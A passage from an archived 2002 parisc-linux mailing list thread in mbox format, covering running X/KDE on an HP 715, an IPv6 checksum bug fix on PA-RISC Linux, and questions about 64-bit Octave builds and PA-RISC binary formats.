Original-Received: from mmp-1.gci.net ([208.138.130.80]) by mta-2.gci.net
          (Netscape Messaging Server 4.15) with ESMTP id GQOS9F01.Y1U for
          <parisc-linux@parisc-linux.org>; Mon, 28 Jan 2002 21:20:03 -0900 
Original-Received: from goliath.alaskatech.org ([24.237.5.207]) by
          mmp-1.gci.net (Netscape Messaging Server 4.15) with ESMTP id
          GQOS9F02.CBO for <parisc-linux@parisc-linux.org>; Mon, 28 Jan
          2002 21:20:03 -0900 
Original-Received: from goliath.alaskatech.org (goliath.alaskatech.org [24.237.5.207])
	by goliath.alaskatech.org (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id VAA01968
	for <parisc-linux@parisc-linux.org>; Mon, 28 Jan 2002 21:14:55 -0900
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13892

There was a bit of chat about trying to make this work. Just figured I'd
mention that I've got X running on my 715/100 and A1097C monitor, with KDE
as the WM (not by choice, but it's working, so...)

In a nutshell, I installed the X packages, then 'dpkg-reconfigure
xserver-xfree86' and chose 'advanced'. Entered info as needed (monitor
settings 1280x1024, 78 horiz rate, 72 vertical refresh), then 8-bit color
default. Everything else was defaulted correctly (I believe).

http://www.alaskatech.org/stuff/XF86Config-4 is my working config file.

KDE isn't the speediest window manager for this machine - from 'startx'
until the system is responsive is around a minute or two, maybe a bit
more. But, it's working, and once loaded it isn't too bad. Something like
icewm-lite would probably be much speedier.

(Amazing what you can accomplish when someone says, "Hey, I'd like to buy
your 715 if you can get X working on it..." <g>)





From - Thu Nov 08 21:21:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tom <palinux@alaskatech.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Wow...
Date: Mon, 28 Jan 2002 21:40:25 -0900 (AKST)
Lines: 5
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33.0201282139490.1826-100000@goliath.alaskatech.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621017 1753 80.91.229.3 (22 Nov 2014 01:50:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:17 +0000 (UTC)
To: PA-RISC Linux List <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jan 28 23:45:35 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mta-1.gci.net (mta-1.gci.net [208.138.130.82])
	by dsl2.external.hp.com (Postfix) with ESMTP id 04D24482A
	for <parisc-linux@parisc-linux.org>; Mon, 28 Jan 2002 23:45:35 -0700 (MST)
Original-Received: from mmp-2.gci.net ([208.138.130.81]) by mta-1.gci.net
          (Netscape Messaging Server 4.15) with ESMTP id GQOTFX01.I07 for
          <parisc-linux@parisc-linux.org>; Mon, 28 Jan 2002 21:45:33 -0900 
Original-Received: from goliath.alaskatech.org ([24.237.5.207]) by
          mmp-2.gci.net (Netscape Messaging Server 4.15) with ESMTP id
          GQOTFX02.5BX for <parisc-linux@parisc-linux.org>; Mon, 28 Jan
          2002 21:45:33 -0900 
Original-Received: from goliath.alaskatech.org (goliath.alaskatech.org [24.237.5.207])
	by goliath.alaskatech.org (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id VAA02082
	for <parisc-linux@parisc-linux.org>; Mon, 28 Jan 2002 21:40:25 -0900
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13893

Post the link to the XF86Config-4 file, and within a few minutes I've
already gotten a hit on it. Guess that was needed :-)




From - Thu Nov 08 21:21:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] IPv6
Date: Mon, 28 Jan 2002 23:16:42 -0800
Lines: 18
Approved: news@gmane.org
Message-ID: <20020129071642.GP21816@tausq.org>
References: <Pine.NEB.4.33.0201282014540.13593-100000@www2.scram.de>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621018 1756 80.91.229.3 (22 Nov 2014 01:50:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:18 +0000 (UTC)
Cc: HP900 PARISC mailing list <parisc-linux@lists.parisc-linux.org>
To: Jochen Friedrich <jochen@scram.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan 29 00:17:14 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.pangeatech.com (pxofc151-phx1.pangeatech.com [63.110.32.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id AA8AE482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 29 Jan 2002 00:17:13 -0700 (MST)
Original-Received: from [65.192.22.133] by mail.pangeatech.com (NTMail 7.00.0018/NU8172.00.e2123c13) with ESMTP id tzndlaaa for parisc-linux@lists.parisc-linux.org; Tue, 29 Jan 2002 00:17:06 -0700
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.12 #1 (Debian))
	id 16VSVW-00065a-00; Mon, 28 Jan 2002 23:16:42 -0800
Content-Disposition: inline
In-Reply-To: <Pine.NEB.4.33.0201282014540.13593-100000@www2.scram.de>
User-Agent: Mutt/1.3.25i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13894

> and unfortunately, it doesn't work. This is what i get when i ping my 720
> from an Intel box:
> 
> ICMPv6 checksum failed [3ffe:0400:0470:0004:0000:0000:0000:0001 >
> ff02:0000:0000:0000:0000:0001:ff00:0002]
> NET: 4 messages suppressed.

should be fixed now.... pls give it a try. it was not adding proto
correctly.

randolph
-- 
   @..@                                         http://www.TauSq.org/
  (----)
 ( >__< )
 ^^ ~~ ^^



From - Thu Nov 08 21:21:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: HEISERER DANIEL <Daniel.Heiserer@bmw.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] octave2.1_2.1.35-6_hppa
Date: Tue, 29 Jan 2002 11:18:01 +0100
Organization: BMW AG
Lines: 45
Approved: news@gmane.org
Message-ID: <3C5676D9.E4B26D93@bmw.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621018 1758 80.91.229.3 (22 Nov 2014 01:50:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:18 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org, debian-hppa@lists.debian.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan 29 03:18:52 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailgwa0.bmwgroup.com (mailgwa0.bmwgroup.com [192.109.190.231])
	by dsl2.external.hp.com (Postfix) with ESMTP id 14579482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 29 Jan 2002 03:18:51 -0700 (MST)
Original-Received: from [160.50.97.116] ([160.50.97.116])
	by mailgwa0.bmwgroup.com (Mirapoint)
	with SMTP id ADG88383;
	Tue, 29 Jan 2002 11:18:03 +0100 (CET)
Original-Received: from mailvsa0.muc by mhub1.muc with ESMTP; Tue, 29 Jan 2002 11:18:03 +0100
Original-Received: from mhub1.muc (mhub1.muc [160.50.97.116])
	by mailvsa0.muc (Mirapoint)
	by mailvsa0.muc (Mirapoint)
	with SMTP id ADY53885;
	Tue, 29 Jan 2002 11:18:02 +0100 (CET)
Original-Received: from mail01.muc by mhub1.muc with ESMTP; Tue, 29 Jan 2002 11:18:01 +0100
Original-Received: from bmw.de ([160.50.221.32] (may be forged))
	by mail01.muc (8.8.6 (PHNE_17190+no byaddr 2)/8.8.6) with ESMTP id LAA22616;
	Tue, 29 Jan 2002 11:18:01 +0100 (MET)
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.4.13-sc5smp i686)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13895

Hi,
a buddy pointed me to the debian build archive,
because I had problems building a 64-bit octave executable
on AP-RISC-2 HP-UX-11.11.
I used the gcc-3.0.2 which was a 
 /usr/local/bin/gcc:     ELF-64 executable object file - PA-RISC 2.0
(LP64)
and it also produced such code. Unfortunately the octave builds,
but fails immediately by trivial operations.
I am also a little be astonished about the different object files
existing
on PA-Risc. There are 
/usr/local/bin/perl:    PA-RISC1.1 shared executable dynamically linked
-not stripped
as well as "PA-RISC2" executables.
Honestly I have no idea what the difference between ELF-64 and PA-RISC-2
is.
Are both 64 bit.

Finally I found the debian archive for octave. So my question is:

Do you build this octave for 
o linux on PA-Risc or also for
o HP-UX-11.11 ????

Is it finally 64 bit? and how did you build it.

I would appreciate any comments to my open questions.

thanks, daniel


-- 
Mit freundlichen Gruessen
    Daniel Heiserer

--------------------------------------------------------------
Dipl.-Phys. Daniel Heiserer, BMW AG, Knorrstrasse 147, 80788 Muenchen
Abteilung EK-212
Tel.: 089-382-21187, Fax.: 089-382-42820
mailto:daniel.heiserer@bmw.de 
Lageplan Standort FIZ:
http://www.stadtplandienst.de/query?ORT=M&STR=Knorrstr.&HNR=147



From - Thu Nov 08 21:21:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: octave2.1_2.1.35-6_hppa
Date: Tue, 29 Jan 2002 15:19:45 +0000
Lines: 28
Approved: news@gmane.org
Message-ID: <20020129151945.B3850@parcelfarce.linux.theplanet.co.uk>
References: <3C5676D9.E4B26D93@bmw.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621018 1761 80.91.229.3 (22 Nov 2014 01:50:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:18 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, debian-hppa@lists.debian.org
To: HEISERER DANIEL <Daniel.Heiserer@bmw.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan 29 08:19:47 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8827A482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 29 Jan 2002 08:19:46 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 16Va2z-000405-00; Tue, 29 Jan 2002 15:19:45 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <3C5676D9.E4B26D93@bmw.de>; from Daniel.Heiserer@bmw.de on Tue, Jan 29, 2002 at 11:18:01AM +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13896

On Tue, Jan 29, 2002 at 11:18:01AM +0100, HEISERER DANIEL wrote:
> Hi,
> a buddy pointed me to the debian build archive,
> because I had problems building a 64-bit octave executable
> on AP-RISC-2 HP-UX-11.11.

Unfortunately, we don't support 64-bit userspace on PA/Linux yet.

> Honestly I have no idea what the difference between ELF-64 and PA-RISC-2
> is.
> Are both 64 bit.

No.  PA-RISC 2.0 introduced some new instructions, but does not have to be
64-bit.  64-bit can be useful, but it can also slow down applications.  So
it's a tradeoff.

> Do you build this octave for 
> o linux on PA-Risc or also for
> o HP-UX-11.11 ????

We don't build binaries for HP-UX.  Some people have suggested starting a
new port to build binaries for proprietary unices sch as Solaris and HP-UX,
but nobody has actually done so yet.

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:21:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jochen Friedrich <jochen@scram.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] IPv6
Date: Tue, 29 Jan 2002 17:03:00 +0100 (CET)
Lines: 28
Approved: news@gmane.org
Message-ID: <Pine.NEB.4.33.0201291643080.14788-100000@www2.scram.de>
References: <20020129071642.GP21816@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621018 1787 80.91.229.3 (22 Nov 2014 01:50:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:18 +0000 (UTC)
Cc: HP900 PARISC mailing list <parisc-linux@lists.parisc-linux.org>
To: Randolph Chung <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan 29 09:03:15 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.scram.de (mail.scram.de [195.226.127.117])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6D43C482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 29 Jan 2002 09:03:14 -0700 (MST)
Original-Received: from www2.scram.de (www2.scram.de [195.226.127.84])
	by mail.scram.de (8.11.0/8.11.0) with ESMTP id g0TG31013762;
	Tue, 29 Jan 2002 17:03:02 +0100 (CET)
In-Reply-To: <20020129071642.GP21816@tausq.org>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13897

Hi Randolph,

> > ICMPv6 checksum failed [3ffe:0400:0470:0004:0000:0000:0000:0001 >
> > ff02:0000:0000:0000:0000:0001:ff00:0002]
> > NET: 4 messages suppressed.
>
> should be fixed now.... pls give it a try. it was not adding proto
> correctly.

It's OK now. However, there still seems to be a problem with the socket
interface. From the HP, i can't ping6 anything (no response), although i
can see the packets on the line (with correct checksum) and the reply from
my Intel box (or anything behind it). A ping from Intel to HP works just
fine. Also, i can't even ping6 ::1.

3ffe:400:470:4::2 is the (current) 6bone address of the HP :-)

# ping6 3ffe:400:470:4::2
PING6(56=40+8+8 bytes) 3ffe:400:470:1::dead:fffe --> 3ffe:400:470:4::2
16 bytes from 3ffe:400:470:4::2, icmp_seq=0 hlim=61 time=85.938 ms
16 bytes from 3ffe:400:470:4::2, icmp_seq=1 hlim=61 time=78.125 ms
16 bytes from 3ffe:400:470:4::2, icmp_seq=2 hlim=61 time=82.032 ms

Cheers,
Jochen




From - Thu Nov 08 21:21:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Christopher C. Chimelis" <chris@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: octave2.1_2.1.35-6_hppa
Date: Tue, 29 Jan 2002 11:12:42 -0500 (EST)
Lines: 16
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0201291110160.32249-100000@spawn.hockeyfiend.com>
References: <20020129151945.B3850@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621019 1791 80.91.229.3 (22 Nov 2014 01:50:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:19 +0000 (UTC)
Cc: HEISERER DANIEL <Daniel.Heiserer@bmw.de>,
	parisc-linux@lists.parisc-linux.org, debian-hppa@lists.debian.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan 29 09:12:53 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from spawn.hockeyfiend.com (dsl092-073-086.bos1.dsl.speakeasy.net [66.92.73.86])
	by dsl2.external.hp.com (Postfix) with ESMTP id 06FAD482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 29 Jan 2002 09:12:52 -0700 (MST)
Original-Received: from chris (helo=localhost)
	by spawn.hockeyfiend.com with local-esmtp (Exim 3.34 #1 (Debian))
	id 16VasE-0008Qf-00; Tue, 29 Jan 2002 11:12:42 -0500
X-Sender: chris@spawn.hockeyfiend.com
In-Reply-To: <20020129151945.B3850@parcelfarce.linux.theplanet.co.uk>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13898

On Tue, 29 Jan 2002, Matthew Wilcox wrote:

> We don't build binaries for HP-UX.  Some people have suggested starting a
> new port to build binaries for proprietary unices sch as Solaris and HP-UX,
> but nobody has actually done so yet.

It may be helpful, though, to pick up the Debian source package and look
over the patches since there may be some that work around the "gotchas" of
the platform.  It would at least be a good start, even though the patches 
are probably a bit more linux-specific and probably shouldn't be used
verbatim hoping that they fix problems for HP-UX compilation.

C




From - Thu Nov 08 21:21:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] octave2.1_2.1.35-6_hppa
Date: Tue, 29 Jan 2002 11:59:16 -0700
Lines: 29
Approved: news@gmane.org
Message-ID: <20020129185916.2AE58482A@dsl2.external.hp.com>
References: <3C5676D9.E4B26D93@bmw.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621019 1796 80.91.229.3 (22 Nov 2014 01:50:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:19 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, debian-hppa@lists.debian.org
To: HEISERER DANIEL <Daniel.Heiserer@bmw.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan 29 11:59:16 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 2AE58482A; Tue, 29 Jan 2002 11:59:16 -0700 (MST)
In-Reply-To: Message from HEISERER DANIEL <Daniel.Heiserer@bmw.de> 
   of "Tue, 29 Jan 2002 11:18:01 +0100." <3C5676D9.E4B26D93@bmw.de> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13899

HEISERER DANIEL wrote:
> I am also a little be astonished about the different object files
> existing on PA-Risc. There are 
> /usr/local/bin/perl:    PA-RISC1.1 shared executable dynamically linked
> -not stripped
> as well as "PA-RISC2" executables.

Also note that "PA-RISC1.1" on HPUX implies the binary is a SOM binary
(not ELF). parisc-linux uses ELF-32 format by default.  This was "invented"
for the parisc-linux port.

parisc-linux kernel has support for SOM binaries but it's really only
for HPUX application compatibility.

> Honestly I have no idea what the difference between ELF-64 and PA-RISC-2
> is. Are both 64 bit?

Since PARISC2.0 introduced 64-bit capability, many people equate the two.
(that's not a shooting offense. ;^) While Matthew is correct, in practice
most folks build PA1.1 binaries when they want a 32-bit application.

I was building 32-bit PA-RISC2.0 linux kernels. But the toolchain was using
"reloc" (type 74, iirc) that the kernel dynamic linker couldn't grok.
So I couldn't load any kernel driver modules.  I decided it wasn't worth
pursueing and now build PA 1.1 kernels.

grant



From - Thu Nov 08 21:21:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] octave2.1_2.1.35-6_hppa
Date: Tue, 29 Jan 2002 14:58:14 -0500 (EST)
Lines: 18
Approved: news@gmane.org
Message-ID: <200201291958.g0TJwEAI006175@hiauly1.hia.nrc.ca>
References: <20020129185916.2AE58482A@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621019 1803 80.91.229.3 (22 Nov 2014 01:50:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:19 +0000 (UTC)
Cc: Daniel.Heiserer@bmw.de, parisc-linux@lists.parisc-linux.org,
	debian-hppa@lists.debian.org
To: grundler@dsl2.external.hp.com (Grant Grundler)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan 29 12:58:20 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id B18DD482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 29 Jan 2002 12:58:19 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g0TJwFFN006176;
	Tue, 29 Jan 2002 14:58:16 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g0TJwEAI006175;
	Tue, 29 Jan 2002 14:58:14 -0500 (EST)
In-Reply-To: <20020129185916.2AE58482A@dsl2.external.hp.com> from "Grant Grundler" at Jan 29, 2002 11:59:16 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13900

> > Honestly I have no idea what the difference between ELF-64 and PA-RISC-2
> > is. Are both 64 bit?

